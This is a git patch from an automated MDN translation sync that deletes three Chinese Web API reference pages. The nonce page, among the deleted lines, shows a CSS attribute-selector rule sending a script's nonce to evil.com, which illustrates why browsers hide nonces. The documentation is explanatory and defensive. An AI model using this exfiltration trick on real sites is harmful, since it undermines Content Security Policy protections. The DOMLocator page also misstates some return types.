From 751e4b6115b0d8f30a147dcba95a3e21445ba4de Mon Sep 17 00:00:00 2001 From: MDN Date: Wed, 7 Jul 2021 00:36:00 +0000 Subject: [CRON] sync translated content --- files/zh-cn/web/api/domlocator/index.html | 50 ------------------ .../web/api/htmlorforeignelement/nonce/index.html | 59 ---------------------- files/zh-cn/web/api/renderingcontext/index.html | 29 ----------- 3 files changed, 138 deletions(-) delete mode 100644 files/zh-cn/web/api/domlocator/index.html delete mode 100644 files/zh-cn/web/api/htmlorforeignelement/nonce/index.html delete mode 100644 files/zh-cn/web/api/renderingcontext/index.html (limited to 'files/zh-cn/web/api') diff --git a/files/zh-cn/web/api/domlocator/index.html b/files/zh-cn/web/api/domlocator/index.html deleted file mode 100644 index a92dedd3ab..0000000000 --- a/files/zh-cn/web/api/domlocator/index.html +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: DOMLocator -slug: Web/API/DOMLocator -translation_of: Web/API/DOMLocator ---- -

{{APIRef("DOM")}}{{obsolete_header}}

- -
-

NOTE: This is not implemented in Mozilla

-
- -

Indicates a location such as where an error occurred. Returned by DOMError.location.

- -

Properties

- -
-
{{domxref("DOMLocator.lineNumber")}} {{ReadOnlyInline}}
-
Returns a positiove integer or -1.
-
{{domxref("DOMLocator.columnNumber")}}  {{ReadOnlyInline}}
-
Returns a positiove integer or -1.
-
{{domxref("DOMLocator.byteOffset")}} {{ReadOnlyInline}}
-
Returns a positiove integer or -1.
-
{{domxref("DOMLocator.utf16Offset")}} {{ReadOnlyInline}}
-
Returns a positiove integer or -1.
-
{{domxref("DOMLocator.relatedNode")}} {{ReadOnlyInline}}
-
Returns a positiove integer or -1.
-
{{domxref("DOMLocator.uri")}} {{ReadOnlyInline}}
-
Returns a positiove integer or -1.
-
- -

Methods

- -

This interface neither implements, nor inherits, any method.

- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName("DOM3 Core", "core.html#Interfaces-DOMLocator", "DOMLocator")}}{{Spec2("DOM3 Core")}}Initial definition
diff --git a/files/zh-cn/web/api/htmlorforeignelement/nonce/index.html b/files/zh-cn/web/api/htmlorforeignelement/nonce/index.html deleted file mode 100644 index 39181c40d7..0000000000 --- a/files/zh-cn/web/api/htmlorforeignelement/nonce/index.html +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: HTMLElement.nonce -slug: Web/API/HTMLOrForeignElement/nonce -tags: - - API - - nonce - - 内容安全策略 - - 实验性 - - 属性 -translation_of: Web/API/HTMLOrForeignElement/nonce -original_slug: Web/API/HTMLElement/nonce ---- -

{{SeeCompatTable}}{{APIRef("HTML DOM")}}

- -

{{domxref("HTMLElement")}} 接口的 nonce 属性返回只使用一次的加密数字,被内容安全政策用来决定这次请求是否被允许处理。

- -

在接下来的实现中,有nonce属性的元素只能在脚本中使用(不可以在其他渠道使用,比如css属性选择器)。

- -

语法

- -
var nonce = HTMLElement.nonce
-HTMLElement.nonce = nonce
- -

访问nonce属性值

- -

以前,并不是所有的浏览器都支持 nonce IDL属性,因此在实际应用场景中,尝试使用getAttribute 作为备选:

- -
let nonce = script['nonce'] || script.getAttribute('nonce');
- -

然而,最新的浏览器版本都隐藏了 nonce 值(返回一个空值)。IDL属(script['nonce'])成为唯一的访问方式。

- -

隐藏Nonce是为了阻止攻击者通过某种机制提取出nonce值,比如下面这种方式:

- -
script[nonce~=whatever] {
-  background: url("https://evil.com/nonce?whatever");
-}
- -

说明

- - - - - - - - - - - - - - -
说明状态注释
{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}{{Spec2('HTML WHATWG')}}初始定义
- -

支持的浏览器

- -
-

{{Compat("api.HTMLElement.nonce")}}

-
diff --git a/files/zh-cn/web/api/renderingcontext/index.html b/files/zh-cn/web/api/renderingcontext/index.html deleted file mode 100644 index 00b7a39db8..0000000000 --- a/files/zh-cn/web/api/renderingcontext/index.html +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: RenderingContext -slug: Web/API/RenderingContext -translation_of: Web/API/RenderingContext ---- -

{{APIRef("Canvas API")}}

- -

RenderingContext 是一个辅助类型,描述下面任何一个渲染上下文:  {{domxref("CanvasRenderingContext2D")}}, {{domxref("WebGLRenderingContext")}} 或者 {{domxref("WebGL2RenderingContext")}} (继承自 WebGLRenderingContext)。

- -

这是简化规范的辅助类型,它不是一个接口,也没有对象实现它。

- -

规范描述

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#renderingcontext", "RenderingContext")}}{{Spec2('HTML WHATWG')}}Initial definition.
- -

 

-- cgit v1.2.3-54-g00ecf